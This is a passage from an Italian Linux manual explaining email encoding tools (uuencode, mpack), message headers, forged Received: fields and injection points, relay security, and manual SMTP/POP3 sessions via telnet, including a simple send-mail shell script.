SpO/nP7P/fgp92f69mo9fBGjnnHtyOoMy72AOxQ5mKxvg6Bde/8Al7Wtrr/cYrXpt+ltPMz8
uFK3+cPy/iif4H5JaXp9U+rr9H//2Q==
```

Si può osservare che il messaggio non è più di tipo MIME multiplo, così non è necessario indicare i confini con la stringa dell'opzione '**`boundary`**'.

Volendo, dal momento che l'immagine è stata codificata con la codifica Base64, si può usare anche Uuencode senza preoccuparsi di rispettare le specifiche MIME. Il file si riduce all'estratto seguente, dove il codice della figura è delimitato come si vede:

```
begin-base64 664 prova.jpg
/9j/4AAQSkZJRgABAgEBLAEsAAD/7Ro4UGhvdG9zaG9wIDMuMAA4QklNA+kKUHJpbnQgSW5m
bwAAAAB4ACgAAABIAEgAAAAAAxgCQf/3//cDQAJKIAIFewPgAAAAAAFoAWgAAAAAD3gLRQFs
ADILRUcYAFAAAQEBAAAAAScPAAEAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAZAAAAAAAAAAAA
...
...
QI08T/rKM3l/9Q/kKl+d8gj10WjbW2szHqF/2lrR6pr9PfEGJ3+n7v5bdyk9rgdwcQ6AIjSe
SpO/nP7P/fgp92f69mo9fBGjnnHtyOoMy72AOxQ5mKxvg6Bde/8Al7Wtrr/cYrXpt+ltPMz8
uFK3+cPy/iif4H5JaXp9U+rr9H//2Q==
====
```

Per l'estrazione basta usare il programma '**`uudecode`**', come è già stato descritto in precedenza.

45.12.6 Mpack

Mpack[13] consente di generare allegati MIME, ovvero allegati con più informazioni e per questo più facili da estrarre. Anche in questo caso si distinguono due eseguibili: '**`mpack`**' per la codifica e '**`munpack`**' per la decodifica. Il primo, tra le altre cose, è anche in grado di inviare direttamente il risultato della codifica a un recapito di posta elettronica.

```
mpack [-s oggetto] [-d file_introduttivo] [-m n_caratteri] [-c sottotipo_mime] ↩
↪       file_da_codificare indirizzo_posta_elettronica...
```

```
mpack [-s oggetto] [-d file_introduttivo] [-m n_caratteri] [-c sottotipo_mime] ↩
↪       -o file_da_generare file_da_codificare
```

```
mpack [-s oggetto] [-d file_introduttivo] [-m n_caratteri] [-c sottotipo_mime] ↩
↪       -n indirizzo_usenet [,indirizzo_usenet]... file_da_codificare
```

I tre modelli sintattici mostrano tutte le opzioni disponibili e i tre contesti di utilizzo di '**`mpack`**'. Nel primo caso, il file codificato viene inviato direttamente attraverso la posta elettronica, agli indirizzi specificati; nel secondo caso si crea un file; nell'ultimo caso si invia il file codificato a uno o più gruppi di discussione di Usenet.

È importante chiarire il significato di alcune opzioni. '**`-d`**' permette di indicare un file, il cui contenuto viene poi usato come introduzione all'allegato che si crea. In altri termini, permette di spiegare di cosa si tratta, senza interferire con il file da codificare. '**`-m`**' consente di indicare la dimensione massima, espressa in caratteri, ovvero in byte, dei messaggi. Ciò permette di creare automaticamente diversi file, oppure di inviare diversi messaggi, ognuno non eccedente la dimensione richiesta.[14] Infine, l'opzione '**`-c`**' consente di indicare un sottotipo MIME, dei tipi '**`application`**', '**`audio`**', '**`image`**' e '**`video`**'. Se non si indica questa informazione, è '**`mpack`**' a determinarla in modo automatico. È il caso di osservare che l'oggetto viene richiesto in modo interattivo, se non si usa l'opzione '**`-s`**' esplicitamente.

A titolo di esempio si può vedere cosa succede se l'utente '**`caio`**' invia a *`tizio@dinkel.brot.dg`* il file già visto in precedenza, denominato '`prova.xxx`':

```
$ mpack -s "Prova di trasmissione" prova.xxx tizio@dinkel.brot.dg [Invio]
```

Ciò che viene ricevuto può assomigliare al messaggio seguente, dove si può notare che la stringa di delimitazione è ridotta a un solo trattino:

```
Message-ID: <846.995041413@dinkel.brot.dg>
Mime-Version: 1.0
To: tizio@dinkel.brot.dg
Subject: Prova di trasmissione
Content-Type: multipart/mixed; boundary="-"
From: caio@dinkel.brot.dg
Date: Fri, 13 Jul 2001 18:23:32 +0200

This is a MIME encoded message.  Decode it with "munpack"
or any other MIME reading software.  Mpack/munpack is available
via anonymous FTP in ftp.andrew.cmu.edu:pub/mpack/
---
Content-Type: application/octet-stream; name="prova.xxx"
Content-Transfer-Encoding: base64
Content-Disposition: inline; filename="prova.xxx"
Content-MD5: JSc+xPLb3o3I5NlBYvyVJA==

bGtqc2Ro6GU5Cjg0NXJ5I2ZnZwpm8un57MzA0sgK9vzkJCUmo0sq

-----
```

L'uso di '**munpack**' è più semplice, dal momento che nella maggior parte dei casi è sufficiente fornire il file contenente l'allegato, come argomento oppure attraverso lo standard input:

munpack [*opzioni*] *file_con_allegato*...

cat *file_con_allegato* | munpack [*opzioni*]

Il file che contiene l'allegato può anche essere un messaggio di posta elettronica, in cui appare ancora l'intestazione. Tuttavia, è da tenere in considerazione che viene estratto solo il primo messaggio che contiene un allegato, salvo il caso di allegati suddivisi in più messaggi.

In condizioni normali, se il file o il messaggio contenente l'allegato è preceduto da una descrizione (un commento), questa informazione viene salvata in un file con estensione '`.desc`'.

45.13 Gestione della posta elettronica in generale

I problemi di sicurezza che si presentano quando si amministra un MTA, impongono una conoscenza maggiore rispetto alla semplice messa in funzione del servizio. Generalmente, lo schema essenziale di funzionamento del sistema di trasferimento dei messaggi di posta elettronica è basato sul protocollo SMTP (*Simple mail transfer protocol*) e utilizza fondamentalmente due componenti: MTA (*Mail transport agent*), che include anche l'MDA (*Mail delivery agent*), e MUA (*Mail user agent*). Il primo dei due è il sistema che si occupa del trasferimento e della consegna dei messaggi, mentre il secondo è il programma che viene utilizzato per comporre i messaggi e passarli all'MTA.

Figura 45.57. Schema semplificativo del meccanismo di trasmissione della posta elettronica tra MTA (MDA) e MUA.

Di solito l'MDA è un componente dello stesso MTA, il quale permette di provvedere alla consegna di un messaggio localmente, oppure alla trasmissione attraverso il protocollo SMTP, dopo averlo ricevuto dallo standard input. I programmi MUA più semplici dipendono dall'MDA, non essendo in grado di provvedere da soli a instaurare una connessione SMTP con un servente di posta elettronica.

La sequenza di MTA, o meglio, di serventi SMTP utilizzati per trasmettere il messaggio a destinazione, dipende dall'organizzazione di ognuno di questi. La situazione più comune è quella in cui ne sono coinvolti solo due: quello utilizzato per iniziare la trasmissione e quello di destinazione che si occupa anche della consegna. In realtà, si possono porre delle esigenze diverse, a causa della struttura della rete nel punto di partenza e nel punto di destinazione. Per rendere l'idea, si possono indicare i casi seguenti.

- L'MTA utilizzato nell'origine si avvale di uno *smarthost*, ovvero un altro MTA, collocato in una posizione conveniente della rete, che si occupa di smistare i messaggi. Ciò è utile quando l'MTA di origine è collocato in una posizione della rete per cui esiste un solo percorso per raggiungere la rete esterna: quando un messaggio è inviato a più di un destinatario è conveniente trasmetterlo una volta sola attraverso questo tratto di rete, lasciando che sia l'MTA esterno a provvedere alla duplicazione dei messaggi per i vari destinatari. Lo *smarthost* svolge quindi l'attività di relè, o di scambio.
- L'MTA di destinazione è il punto di ingresso a una rete privata, nella quale vengono poi usati altri MTA per la consegna effettiva dei messaggi.
- L'MTA di destinazione è solo il punto di arrivo di un alias (da quel punto riprende l'invio del messaggio all'indirizzo vero dell'utente).

45.13.1 Composizione di un messaggio

Un messaggio di posta elettronica è composto da due parti fondamentali: l'intestazione e il corpo. Il corpo è quella parte che contiene il testo del messaggio, mentre l'intestazione contiene informazioni amministrative di vario genere, compreso l'oggetto (*subject*). All'interno dell'intestazione, si distingue in particolare la ***busta*** o *envelope*, cioè quelle informazioni amministrative necessarie al trasporto del messaggio; queste appaiono nella parte superiore e si espandono mano a mano che il messaggio attraversa i vari MTA necessari a raggiungere la destinazione.

L'esempio seguente mostra un breve messaggio trasmesso da *pippo@router.brot.dg* a *daniele@dinkel.brot.dg*.

```
From pippo@router.brot.dg  Mon Jun  8 21:53:16 1998
Return-Path: <pippo@router.brot.dg>
Received: from router.brot.dg (pippo@router.brot.dg [192.168.1.254])
        by dinkel.brot.dg (8.8.7/8.8.7) with ESMTP id VAA00615
        for <daniele@dinkel.brot.dg>; Mon, 8 Jun 1998 21:53:15 +0200
From: pippo@router.brot.dg
Received: (from pippo@localhost)
        by router.brot.dg (8.8.7/8.8.7) id AAA00384
        for daniele@dinkel.brot.dg; Tue, 9 Jun 1998 00:00:09 +0200
Date: Tue, 9 Jun 1998 00:00:09 +0200
Message-Id: <199806082200.AAA00384@router.brot.dg>
To: daniele@dinkel.brot.dg
Subject: Una vita che non ci si sente :-)

Ciao Daniele!
Quanto tempo che non ci si sente.
Fai un cenno se possibile :-)

Pippo
```

Per distinguere la conclusione dell'intestazione dall'inizio del corpo, si utilizza una riga vuota. Nell'esempio, L'oggetto è l'ultimo elemento dell'intestazione, quindi appare una riga vuota di separazione e finalmente inizia il testo del messaggio.

L'intestazione è composta da record separati dal codice di interruzione di riga. Ognuno di questi record, definisce l'informazione contenuta in un campo nominato all'inizio del record stesso, precisamente nella prima colonna del testo. Questi campi (*field*) terminano necessariamente con il carattere due punti ('`:`'), seguito da uno spazio; il resto del record descrive il loro contenuto. Un record può continuare su più righe; la continuazione viene segnalata da un carattere di tabulazione orizzontale, <*HT*>, all'inizio della riga che continua il record interrotto in quella precedente (si osservino a questo proposito i campi '**`Received:`**' dell'esempio).

Il programma usato come MUA genera l'intestazione necessaria a iniziare la trasmissione del messaggio. In particolare, sono fondamentali i campi seguenti.

Campo	Descrizione
`Date:`	Contiene la data di invio del messaggio.

Campo	Descrizione
`Message-Id:`	Contiene una stringa generata automaticamente, in modo da essere unica per il messaggio. In un certo senso, serve a dare un'impronta al messaggio che permette di distinguerlo e di farvi riferimento.
`From:`	Contiene le informazioni sul mittente del messaggio; generalmente si tratta dell'indirizzo di posta elettronica e probabilmente anche il suo nome reale.
`To:`	Contiene l'indirizzo di posta elettronica del destinatario.
`Subject:`	L'oggetto del messaggio.

Oltre ai campi già visti, ne possono essere aggiunti altri, a seconda delle esigenze o dell'impostazione del programma utilizzato come MUA.

Campo	Descrizione
`Reply-To:`	Permette di indicare un indirizzo al quale si desidera siano inviate le risposte.
`Organization:`	Permette di definire l'organizzazione proprietaria della macchina da cui ha origine il messaggio di posta elettronica.
`X-...:`	I campi che iniziano per '**`X-`**' sono ammessi, senza essere definiti. In pratica, vengono utilizzati per scopi vari, accordati tra le parti.

Per una convenzione ormai consolidata, il primo record dell'intestazione di un messaggio di posta elettronica inizia con la parola chiave '**`From`**' seguita immediatamente da uno spazio. Questo record è diverso da quello che definisce il campo '**`From:`**' (cioè quello che termina con i due punti), tanto che per distinguerlo viene spesso indicato come '**`From_`**', per sottolineare il fatto che non appaiono i due punti prima dello spazio.

La presenza di questo campo un po' anomalo, fa sì che quando si scrive un messaggio, nel corpo non possa apparire la parola '**`From`**' scritta in questo modo e a partire dalla prima colonna. Convenzionalmente, se ne esiste la necessità, viene aggiunto il carattere '**`>`**' davanti a questa ('**`>From`**'). Il problema si pone essenzialmente quando si vuole incorporare un messaggio di posta elettronica all'interno di un nuovo messaggio; il programma che si usa per comporre il testo dovrebbe provvedere da solo a correggere la riga in cui appare il record '**`From_`**'.

I vari MTA che si occupano di trasferire e consegnare il messaggio a destinazione sono responsabili dell'aggiunta dei campi '**`Received:`**'. Questi vengono aggiunti a ogni passaggio, dal basso verso l'alto, allo scopo di tenere traccia degli spostamenti che il messaggio ha dovuto subire. Nell'esempio mostrato in precedenza, sono stati interessati solo due MTA.

1. Il primo campo '**`Received:`**' partendo dal basso rappresenta il primo MTA che è stato interpellato.

   ```
   Received: (from pippo@localhost)
           by router.brot.dg (8.8.7/8.8.7) id AAA00384
           for daniele@dinkel.brot.dg; Tue, 9 Jun 1998 00:00:09 +0200
   ```

   Trattandosi dello stesso nodo da cui è stato inviato il messaggio, appare solo l'informazione dell'MTA, '**`by router.brot.dg`**', e la destinazione, '**`for daniele@dinkel.brot.dg`**'.

2. Il secondo campo '**Received:**' viene aggiunto dal secondo MTA interpellato, che in questo caso è anche l'ultimo.

```
Received: from router.brot.dg (pippo@router.brot.dg [192.168.1.254])
        by dinkel.brot.dg (8.8.7/8.8.7) with ESMTP id VAA00615
        for <daniele@dinkel.brot.dg>; Mon, 8 Jun 1998 21:53:15 +0200
```

L'MTA provvede prima a identificare l'origine, ovvero l'MTA che gli ha trasmesso il messaggio, attraverso l'indicazione '**from router.brot.dg**'; quindi identifica se stesso attraverso l'indicazione '**by dinkel.brot.dg**'.

I vari record '**Received:**' possono essere più o meno ricchi di informazioni e questo dipende dall'MTA che li genera. In particolare, l'indicazione della data permette eventualmente di comprendere in che punto la trasmissione del messaggio è stata ritardata; inoltre, la presenza dell'identificativo '**id**' può permettere di ricercare informazioni su una trasmissione particolare all'interno di registrazioni eventuali.

Alcuni MTA, per motivi di sicurezza, verificano l'origine della trasmissione attraverso il sistema DNS e includono il nome e l'indirizzo IP così ottenuto tra parentesi. Nell'esempio mostrato, il secondo MTA ha indicato '**from router.brot.dg (pippo@router.brot.dg [192.168.1.254])**'.

45.13.2 Messaggi contraffatti e punto di iniezione

La posta elettronica è stato il primo problema della comunicazione nella rete; così, gli standard che si sono ottenuti e i programmi a disposizione sono potentissimi dal punto di vista delle possibilità che vengono offerte. Tutto questo, assieme al fatto che la trasmissione dei messaggi di posta elettronica è un'operazione gratuita per il mittente, ha favorito chi usa la posta elettronica per «offendere»: sia attraverso la propaganda indesiderata, sia attraverso altre forme più maliziose. Pertanto, la conoscenza dei punti deboli di un MTA è importante per comprendere con quanta serietà vada presa la sua amministrazione e anche con quanta prudenza vadano mosse delle accuse verso il presunto mittente di un messaggio indesiderato.

Chi utilizza la posta elettronica per attaccare qualcuno, cerca di farlo in modo da non essere identificato. Per questo si avvale normalmente di un MTA di partenza diverso da quello normalmente competente per la sua rete di origine (il proprio ISP). Oltre a tutto, di solito l'attacco consiste nell'invio di un messaggio a una grande quantità di destinatari, per cui, la scelta di un MTA estraneo (e innocente) serve per scaricare su di lui tutto il lavoro di distribuzione. Il «lavoro» di ogni ipotetico aggressore sta quindi nella ricerca di un MTA che si lasci manovrare e nella composizione di un messaggio con un'intestazione fasulla che lasci intendere che il messaggio è già transitato da un'altra origine (che può esistere effettivamente o meno).

A parte il problema derivato dal fatto che la configurazione degli MTA è difficile, per cui capita spesso che qualcosa sfugga cosicché l'MTA si trova a permettere accessi indesiderabili, lo standard SMTP è tale per cui l'MTA che riceve un messaggio deve accettare le informazioni che gli vengono fornite riguardo ai punti di transito precedenti (i vari campi '**Received:**' già esistenti). Quando i campi '**Received:**' sono stati contraffatti l'MTA dal quale ha origine effettivamente la trasmissione è il cosiddetto ***punto di iniezione***.

L'esempio seguente mostra un messaggio di questo tipo, in cui l'origine, *hotmail.com*, si è dimostrata fasulla. Probabilmente, il punto di iniezione è stato '**cnn.Princeton.EDU**', ma questo non può essere stabilito in modo sicuro.

```
X-POP3-Rcpt: daniele@tv
Return-Path: <seeingclearly40@hotmail.com>
Received: from outbound.Princeton.EDU (outbound.Princeton.EDU [128.112.128.88])
          by tv.calion.com (8.8.4/8.8.4) with ESMTP
          id HAA02209 for <daniele@tv.shineline.it>;
          Tue, 9 Jun 1998 07:12:59 +0200
Received: from IDENT-NOT-QUERIED@Princeton.EDU (port 4578 [128.112.128.81])
        by outbound.Princeton.EDU with SMTP
        id <542087-18714>;
        Tue, 9 Jun 1998 00:48:58 -0400
Received: from cnn.Princeton.EDU by Princeton.EDU (5.65b/2.139/princeton)
        id AA09882; Tue, 9 Jun 98 00:17:18 -0400
Received: from hotmail.com by cnn.Princeton.EDU (SMI-8.6/SMI-SVR4)
        id AAA12040; Tue, 9 Jun 1998 00:17:13 -0400
Message-Id: <199806090417.AAA12040@cnn.Princeton.EDU>
Date:   Mon, 08 Jun 98 11:09:01 EST
From: "Dreambuilders" <seeingclearly40@hotmail.com>
To: Friend@public.com
Subject: Real Business

HOW WOULD YOU LIKE TO BE PAID LIKE THIS?

*How about if you received compensation on 12 months Business Volume for
every transaction in your entire organization and this made it possible for
you to earn over $14000.00 US in your first month ?

* How about if you were paid daily, weekly, and monthly ?...
* How about if you could do business everywhere in the world and be paid in
US dollars ?
* What if your only out of pocket expense was a $10 processing fee to get
started...

* Would you want to evaluate a business like that ?

If so  reply with "real business" in subject box to foureal25@hotmail.com
```

45.13.3 Identificazione della destinazione

In precedenza, si è accennato al meccanismo di trasferimento dei messaggi tra diversi MTA. L'MTA di origine, o comunque quello utilizzato come distributore di origine (relè), deve identificare l'MTA più adatto a ricevere il messaggio per ottenere la consegna di questo all'utente destinatario. Intuitivamente, il problema potrebbe ridursi alla trasformazione del nome di dominio dell'indirizzo di posta elettronica del destinatario in un numero IP, per poi tentare di contattare tale nodo con la speranza di trovare un MTA pronto a rispondere. Ma la realtà è più complessa e può darsi benissimo che l'MTA competente per ricevere la posta elettronica di un certo utente sia un nodo diverso da quello che appare nell'indirizzo di posta elettronica.

Per pubblicizzare gli MTA competenti per la gestione di un certo dominio di posta elettronica, si utilizzano i record '**`MX`**' nella configurazione dei DNS. L'esempio seguente mostra un caso descritto meglio nel capitolo 39 in cui si stabilisce che, per consegnare messaggi di posta elettronica nel dominio *`brot.dg`*, è competente il servente *`dinkel.brot.dg`*.

```
…
brot.dg.        IN      MX      10 dinkel.brot.dg.
…
```

45.13.4 Misure di sicurezza

Le misure di sicurezza fondamentali attraverso cui si cerca di evitare l'uso improprio di un MTA sono essenzialmente di due tipi: l'identificazione del sistema da cui proviene la richiesta di inoltro di un messaggio (attraverso il DNS) e il rifiuto dei messaggi che sono originati da un dominio estraneo e sono diretti anche a un dominio estraneo.

La prima delle due misure si concretizza nell'indicazione tra parentesi del nome di dominio e del numero IP del nodo chiamante nel campo '**`Received:`**'. Nell'esempio visto in precedenza, l'MTA del nodo *`dinkel.brot.dg`* ha verificato l'indirizzo di chi lo ha contattato (*`router.brot.dg`*).

```
Received: from router.brot.dg (pippo@router.brot.dg [192.168.1.254])
        by dinkel.brot.dg (8.8.7/8.8.7) with ESMTP id VAA00615
        for <daniele@dinkel.brot.dg>; Mon, 8 Jun 1998 21:53:15 +0200
```

La seconda misura si avvale generalmente del servizio di risoluzione dei nomi (record '**`MX`**'), attraverso il quale si può determinare quale sia il dominio di competenza per il recapito dei messaggi, stabilendo così che i messaggi provenienti dall'esterno che non siano diretti al proprio dominio di competenza, non possono essere accettati.

Nella maggior parte dei casi, gli MTA sono (o dovrebbero essere) configurati in questo modo. Ciò dovrebbe spiegare il motivo per cui spesso è impossibile inviare messaggi di posta elettronica in una rete locale se prima non si attiva un servizio DNS.

45.13.5 Referente per l'amministrazione del servizio

L'amministratore di un servizio di distribuzione di posta elettronica deve essere raggiungibile attraverso dei nominativi convenzionali. Fondamentalmente si tratta di *`postmaster@`**dominio***. Ultimamente, a causa della crescente invadenza di chi utilizza la posta elettronica in modo fraudolento, è diventato comune l'utilizzo dell'indirizzo *`abuse@`**dominio*** per identificare la persona competente nei confronti di possibili abusi originati dal servizio di sua competenza.

Naturalmente, tali indirizzi sono generalmente degli alias attraverso cui i messaggi possono essere rinviati al recapito dell'utente che incorpora effettivamente tali competenze.

45.14 Pratica manuale con i protocolli

È importante avere un minimo di dimestichezza con i protocolli utilizzati per la gestione della posta elettronica. Oltre all'aspetto puramente didattico, il loro utilizzo manuale attraverso un cliente TELNET, può aiutare a verificare la configurazione di un servente SMTP, oppure di manovrare all'interno di una propria casella postale remota.

In queste sezioni vengono mostrati solo i comandi elementari che si possono utilizzare con il protocollo SMTP e POP3.

45.14.1 SMTP attraverso un cliente TELNET

È già stato mostrato in precedenza un esempio di connessione con un servizio SMTP allo scopo di inviare manualmente un messaggio. Lo stesso esempio viene mostrato nuovamente a vantaggio del lettore.

$ **telnet roggen.brot.dg smtp** [*Invio*]

```
Trying 192.168.1.2...
Connected to roggen.brot.dg.
Escape character is '^]'.
220 roggen.brot.dg ESMTP Sendmail 8.8.5/8.8.5; Thu, 11 Sep 1997 19:58:15 +0200
```

HELO brot.dg [*Invio*]

```
250 roggen.brot.dg Hello dinkel.brot.dg [192.168.1.1], pleased to meet you
```

MAIL From: <daniele@dinkel.brot.dg> [*Invio*]

```
250 <daniele@dinkel.brot.dg>... Sender ok
```

RCPT To: <toni@dinkel.brot.dg> [*Invio*]

```
250 <toni@dinkel.brot.dg>... Recipient ok
```

DATA [*Invio*]

```
354 Enter mail, end with "." on a line by itself
```

Subject: Saluti. [*Invio*]

Ciao Antonio, [*Invio*]

come stai? [*Invio*]

Io sto bene e mi piacerebbe risentirti. [*Invio*]

Saluti, [*Invio*]

Daniele [*Invio*]

. [*Invio*]

```
250 TAA02951 Message accepted for delivery
```

QUIT [*Invio*]

```
221 dinkel.brot.dg closing connection
Connection closed by foreign host.
```

L'esempio mostra tutto quello che serve fare per inviare un messaggio. I comandi '**HELO**', '**MAIL**', '**RCPT**' e '**DATA**', vanno inseriti rispettando questa sequenza e la loro sintassi dovrebbe essere evidente dall'esempio.

Un problema importante che si incontra quando si configura il proprio servizio SMTP è quello del filtro rispetto al relè, cioè all'attività di ritrasmissione dei messaggi. Solitamente si consente di fare il relè senza alcuna limitazione per i messaggi provenienti dai nodi della propria rete locale, mentre lo si impedisce quando il messaggio è di origine esterna a tale rete e in più la stessa destinazione è esterna alla rete locale. Il concetto si esprime facilmente a parole, ma la configurazione del servizio SMTP potrebbe essere complessa e si può rischiare di tagliare fuori dal servizio proprio alcuni nodi che invece dovrebbero poterlo utilizzare. L'esempio seguente mostra un caso di cattiva configurazione e da ciò si intende quanto sia utile l'utilizzo manuale del protocollo SMTP per controllare tali situazioni.

$ **telnet dinkel.brot.dg smtp** [*Invio*]

Dal nodo *roggen.brot.dg* si vuole inviare un messaggio al nodo *weizen.brot.dg*, utilizzando per questo il servente *dinkel.brot.dg*, il quale dovrebbe fare da relè, almeno per la rete locale *brot.dg*.

```
Trying 192.168.1.1...
Connected to dinkel.brot.dg.
Escape character is '^]'.
220 roggen.brot.dg ESMTP Exim 1.90 #1 Wed, 4 Nov 1998 09:47:05 +0100
```

HELO brot.dg [*Invio*]

```
250 dinkel.brot.dg Hello daniele at roggen.brot.dg [192.168.1.2]
```

MAIL From: daniele@roggen.brot.dg [*Invio*]

```
250 <daniele@roggen.brot.dg> is syntactically correct
```

RCPT To: tizio@weizen.brot.dg [*Invio*]

```
550 relaying to <tizio@weizen.brot.dg> prohibited by administrator
```

Come si può vedere, qualcosa non va: il servente ha accettato l'origine, ma da quell'origine non accetta la destinazione.

QUIT [*Invio*]

```
221 roggen.brot.dg closing connection
```

45.14.2 POP3 attraverso un cliente TELNET

Anche l'utilizzo manuale del protocollo POP3 può essere utile. Il problema si pone normalmente quando la propria casella postale remota è stata riempita in maniera abnorme da un aggressore. Se si dispone di un collegamento troppo lento, è meglio evitare di scaricare tutta la posta, mentre sarebbe opportuno eliminare direttamente i messaggi che sembrano essere inutili.

L'esempio seguente serve a capire in che modo è possibile visionare la situazione della propria casella postale remota e come è possibile intervenire per eliminare i messaggi indesiderati.

$ **telnet dinkel.brot.dg pop-3** [*Invio*]

```
Trying 192.168.1.1...
Connected to dinkel.brot.dg.
Escape character is '^]'.
+OK POP3 dinkel.brot.dg v4.47 server ready
```

La prima cosa richiesta è l'inserimento del nominativo-utente e subito dopo la parola d'ordine.

USER tizio [*Invio*]

```
+OK User name accepted, password please
```

PASS tazza [*Invio*]

Dopo l'indicazione della parola d'ordine, il servizio POP3 indica quanti messaggi sono presenti. In questo caso solo due.

```
+OK Mailbox open, 2 messages
```

Il comando '**LIST**' consente di avere un elenco dei messaggi con a fianco la loro dimensione in byte. Ciò può essere utile per individuare messaggi «bomba», dove l'indizio potrebbe essere dato dalla dimensione esageratamente grande di un messaggio o dal ripetersi di messaggi con la stessa identica dimensione.

LIST [*Invio*]

```
+OK Mailbox scan listing follows
1 520
2 498
.
```

In questo caso, i messaggi sembrano proprio innocui. Eventualmente, se si vede il ripetersi di un messaggio breve, si può controllarne il contenuto, con il comando '**RETR**'.

RETR 2 [*Invio*]

Viene letto il secondo messaggio.

```
+OK 498 octets
Return-path: <daniele@dinkel.brot.dg>
Envelope-to: daniele@dinkel.brot.dg
Delivery-date: Wed, 4 Nov 1998 10:06:30 +0100
Received: from daniele by dinkel.brot.dg with local (Exim 1.90 #1)
        for daniele@dinkel.brot.dg
        id 0zayta-00009R-00; Wed, 4 Nov 1998 10:06:30 +0100
To: daniele@dinkel.brot.dg
Subject: SPAM
Message-Id: <E0zayta-00009R-00@dinkel.brot.dg>
From: daniele@dinkel.brot.dg
Date: Wed, 4 Nov 1998 10:06:30 +0100
Status:

questo e` un messaggio SPAM.
.
```

La dimensione del messaggio comprende tutto ciò che lo compone, compresa la riga iniziale in cui si informa che questa è di 498 ottetti (gruppi di 8 bit), ovvero byte.

Per cancellare un messaggio, si può utilizzare il comando '**DELE**', seguito dal numero corrispondente.

DELE 2 [*Invio*]

```
+OK Message deleted
```

Per concludere si utilizza il comando '**QUIT**'.

QUIT [*Invio*]

```
+OK Sayonara
```

45.14.3 POP3s attraverso un cliente TELNET-SSL

Il protocollo POP3s si distingue in quanto si inserisce a sua volta in un protocollo SSL. Si può intervenire manualmente anche in questo caso, se Telnet consente di gestire anche SSL.

$ **telnet [-8] -z ssl mail.brot.dg 995** [*Invio*]

```
Trying 192.168.1.99...
Connected to mail.brot.dg.
Escape character is '^]'.
+OK POP3 mail.brot.dg v2003.83 server ready
```

USER tizio [*Invio*]

```
+OK User name accepted, password please
```

PASS tazza [*Invio*]

```
+OK Mailbox open, 2 messages
```

LIST [*Invio*]

```
+OK Mailbox scan listing follows
1 520
2 482
.
```

RETR 2 [*Invio*]

```
+OK 482 octets
Return-path: <daniele@dinkel.brot.dg>
Envelope-to: tizio@mail.brot.dg
Delivery-date: Wed, 4 Nov 1998 10:06:30 +0100
Received: from daniele by dinkel.brot.dg with local (Exim 1.90 #1)
        for tizio@mail.brot.dg
        id 0zayta-00009R-00; Wed, 4 Nov 1998 10:06:30 +0100
To: tizio@mail.brot.dg
Subject: SPAM
Message-Id: <E0zayta-00009R-00@dinkel.brot.dg>
From: daniele@dinkel.brot.dg
Date: Wed, 4 Nov 1998 10:06:30 +0100
Status:

questo e` un messaggio SPAM.
.
```

DELE 2 [*Invio*]

```
+OK Message deleted
```

QUIT [*Invio*]

```
+OK Sayonara
```

45.14.4 Script per l'invio di un messaggio attraverso Telnet

Come è stato mostrato nelle sezioni precedenti, se lo scopo è quello di scrivere un messaggio semplice (ASCII puro), privo di allegati, è possibile usare direttamente il protocollo SMTP attraverso Telnet. In questa sezione viene mostrato uno script che permette di inviare un messaggio preparato in un file di testo separato, a un indirizzo prestabilito, inviandone una copia anche a se stessi, per memoria. Supponendo che lo script si chiami '**mail-tizio@dinkel.brot.dg**', lo si potrebbe usare così:

```
mail-tizio@dinkel.brot.dg file_messaggio [oggetto]
```

Ecco il contenuto dello script '**mail-tizio@dinkel.brot.dg**':

```
#!/bin/sh

SENDER="caio@roggen.brot.dg"
SMTP_SERVER="mail.brot.dg"
RECIPIENT="tizio@dinkel.brot.dg"
MESSAGE_ID=`makepasswd --chars 11`
DATE=`date -R`
MESSAGE_BODY=`cat $1`
SUBJECT=$2
MAIL_FILE=$1~

echo "HELO $SENDER"                              >  $MAIL_FILE
echo "MAIL From: <$SENDER>"                      >> $MAIL_FILE
echo "RCPT To: <$RECIPIENT>"                     >> $MAIL_FILE
echo "RCPT To: <$SENDER>"                        >> $MAIL_FILE
echo "DATA"                                      >> $MAIL_FILE
echo "Message-ID: $MESSAGE_ID"                   >> $MAIL_FILE
echo "Date: $DATE"                               >> $MAIL_FILE
echo "Sender: $SENDER"                           >> $MAIL_FILE
echo "From: $SENDER"                             >> $MAIL_FILE
echo "To: $RECIPIENT"                            >> $MAIL_FILE
echo "Subject: $SUBJECT"                         >> $MAIL_FILE
echo ""                                          >> $MAIL_FILE
echo "$MESSAGE_BODY"                             >> $MAIL_FILE
echo ""                                          >> $MAIL_FILE
echo "."                                         >> $MAIL_FILE

cat $MAIL_FILE | telnet $SMTP_SERVER 25
rm -f $MAIL_FILE
```

L'intestazione del messaggio che si ottiene è abbastanza completa, in modo da non dover costringere il servente SMTP a completarla. Si può osservare in particolare che viene generata una stringa casuale attraverso il programma '**makepasswd**' per il campo '**Message-ID:**'. Da come è fatto lo script è evidente che il mittente e il destinatario sono fissi, così come suggerisce

il nome stesso dello script.

Si suppone di avere preparato il messaggio seguente nel file '`messaggio`':

```
Ciao Tizio,
come va?

E' da tanto che non ci si sente...
Raccontami qualcosa!

Caio
```

Come si può osservare, per prudenza si evita di indicare lettere accentate. Per inviare il messaggio si può procedere in questo modo, specificando l'oggetto «Ciao!»:

`$` **`mail-tizio@dinkel.brot.dg messaggio "Ciao!"`** [*Invio*]

Prima dell'invio, lo script genera il file '`messaggio~`' con il contenuto seguente:

```
HELO caio@roggen.brot.dg
MAIL From: <caio@roggen.brot.dg>
RCPT To: <tizio@dinkel.brot.dg>
RCPT To: <caio@roggen.brot.dg>
DATA
Message-ID: LPhJyaTLUvE
Date: Mon, 16 Jun 2003 11:36:51 +0200
Sender: caio@roggen.brot.dg
From: caio@roggen.brot.dg
To: tizio@dinkel.brot.dg
Subject: Ciao!

Ciao Tizio,
come va?

E' da tanto che non ci si sente...
Raccontami qualcosa!

Caio

.
```

Come si vede dallo script, questo file viene inviato a Telnet attraverso lo standard input e ciò è sufficiente per ottenere l'invio. Alla fine, il file temporaneo viene rimosso.

Eventualmente, si può sostituire Telnet con Netcat (sezione 48.8.9).

45.15 Procmail

Procmail[15] è un sistema di analisi e selezione dei messaggi di posta elettronica, che si inserisce subito dopo un MDA (*Mail delivery agent*). Viene usato praticamente per ogni tipo di controllo che riguardi la posta elettronica, a livello di singolo utente, ma ha un grande difetto: la sintassi per la sua configurazione.

